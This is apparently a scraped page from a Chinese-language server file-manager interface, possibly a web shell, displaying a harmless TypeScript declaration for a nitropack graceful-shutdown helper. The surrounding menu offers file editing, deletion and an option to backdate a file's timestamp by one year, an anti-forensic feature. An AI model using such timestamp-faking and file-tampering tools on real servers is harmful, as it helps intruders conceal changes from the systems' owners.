文件操作 - http-graceful-shutdown.d.ts
返回文件管理
返回主菜单
删除本文件
文件: /var/www/OLD/node_modules/nitropack/dist/runtime/internal/lib/http-graceful-shutdown.d.ts
编辑文件内容
/** * Gracefully shuts down `server` when the process receives * the passed signals * * @param {http.Server} server * @param {object} opts * signals: string (each signal separated by SPACE) * timeout: timeout value for forceful shutdown in ms * forceExit: force process.exit() - otherwise just let event loop clear * development: boolean value (if true, no graceful shutdown to speed up development * preShutdown: optional function. Needs to return a promise. - HTTP sockets are still available and untouched * onShutdown: optional function. Needs to return a promise. * finally: optional function, handled at the end of the shutdown. */ declare function GracefulShutdown(server: any, opts: any): () => any; export default GracefulShutdown;
修改文件时间
将文件时间修改为当前时间的前一年
删除文件